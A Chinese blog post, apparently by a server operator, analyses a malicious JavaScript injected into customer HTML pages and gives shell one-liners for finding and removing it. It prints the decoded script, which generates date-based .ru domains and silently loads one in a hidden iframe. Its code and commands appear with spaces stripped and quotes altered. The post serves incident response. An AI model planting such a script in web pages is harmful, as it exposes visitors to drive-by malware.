来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 我们的服务器又出入侵事故了。有客户的 html 网页底部被插入了一段 js 脚本,导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链 SEO 中这是常见的手法,但奇特的地方就在...
我们的服务器又出入侵事故了。有客户的 html 网页底部被插入了一段 js 脚本,导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链 SEO 中这是常见的手法,但奇特的地方就在于我们这次捕获到的代码,会根据当前的时间戳生成一个(伪)随机域名,然后定时访问。看上去目的并非是 SEO。
一、攻击分析
被插入的 javascript 在此——
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运维拿到这段代码的时候,都不知道它是要做什么。在这里不得不吐槽一下,为啥我们的运维都不懂代码……我放到 Chrome 里 decode 出来,是这样子的:
functionnextRandomNumber(){varhi=this.seed/this.Q;varlo=this.seed%this.Q;vartest=this.A*lo-this.R*hi;if(test>0){this.seed=test;}else{this.seed=test+this.M;}return(this.seed*this.oneOverM);} functionRandomNumberGenerator(unix){vard=newDate(unix*1000);vars=d.getHours()>12?1:0;this.seed=2345678901+(d.getMonth()*0xFFFFFF)+(d.getDate()*0xFFFF)+(Math.round(s*0xFFF));this.A=48271;this.M=2147483647;this.Q=this.M/this.A;this.R=this.M%this.A;this.oneOverM=1.0/this.M;this.next=nextRandomNumber;returnthis;} functioncreateRandomNumber(r,Min,Max){returnMath.round((Max-Min)*r.next()+Min);} functiongeneratePseudoRandomString(unix,length,zone){varrand=newRandomNumberGenerator(unix);varletters=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];varstr='';for(vari=0;i<length;i++){str+=letters[createRandomNumber(rand,0,letters.length-1)];}returnstr+'.'+zone;}setTimeout(function(){try{if(typeofiframeWasCreated=="undefined"){iframeWasCreated=true;varunix=Math.round(+newDate()/1000);vardomainName=generatePseudoRandomString(unix,16,'ru');ifrm=document.createElement("IFRAME");ifrm.setAttribute("src","http://"+domainName+"/runforestrun?sid=cx");ifrm.style.width="0px";ifrm.style.height="0px";ifrm.style.visibility="hidden";document.body.appendChild(ifrm);}}catch(e){}},500);
于是大意可知,它内置了一个随机域名生成函数,有趣的事情。伪随机数发生器基于 unix 时间戳,说它是“伪”随机,是因为这并非真正意义上的随机,我们可以根据时间计算出它所产生的结果。事实上,它最终每 12 个小时就会生成一个类似 ctonxidjqijsnzny.ru znycugibimtvplve.ru 这样的域名。
这并非有新意的黑客,之前有安全人员对恶意软件下载的分析,攻击者甚至使用了 twitter 消息作为种子来生成域名,这是真正的随机,完全无法预料,也无从预警和封锁。
话说回来,在这段代码开始运作产生访问流量之前,黑客有充足的时间注册和配置域名,并挂上木马链接。毫无疑问的是,如果 2012 真的不是世界末日,我们很容易预知到它即将产生什么域名。于是写段程序检测一下,直至未来的 2012 年 8 月 7 日,有 89 个域名已经注册,WHOIS 显示 DNS 解析服务器在俄国。真正的黑客大国,老毛子名不虚传。
网上搜了一下,很多国外服务商也遇到了这个问题,有人甚至观测到一些服务器端的逻辑,比如根据访问者 IP 进行 302 重定向的机制。
二、安全漏洞
更重要的问题是,恶意 js 代码是怎么注入到我们客户的网页上的呢?
通过查看日志我们发现,捅篓子的是某著名后台管理系统的一个文件上传漏洞,目前厂商已经给出修复方案。他们建议重置所有用户的密码……
三、擦屁股
这苦逼活,又是我的差事。花了一个小时,写了两句话,测试通过。
# check
grep-rl–include=*.{php,js,htm,html}”km0ae9gr6m”/var/www/vhosts/*>injeted_list.txt
# clean up
grep-rl–include=*.{php,js,htm,html}”km0ae9gr6m”/var/www/vhosts/*|xargssed-i-e’s/\/\*km0ae9gr6m/\n&/g’-e’s/qhk6sa6g1c\ //&\n/g’-e’/km0ae9gr6m*/,/qhk6sa6g1c/d’
参考链接:
http://research.zscaler.com/2012/07/mass-compromise-includes-computerworld.html
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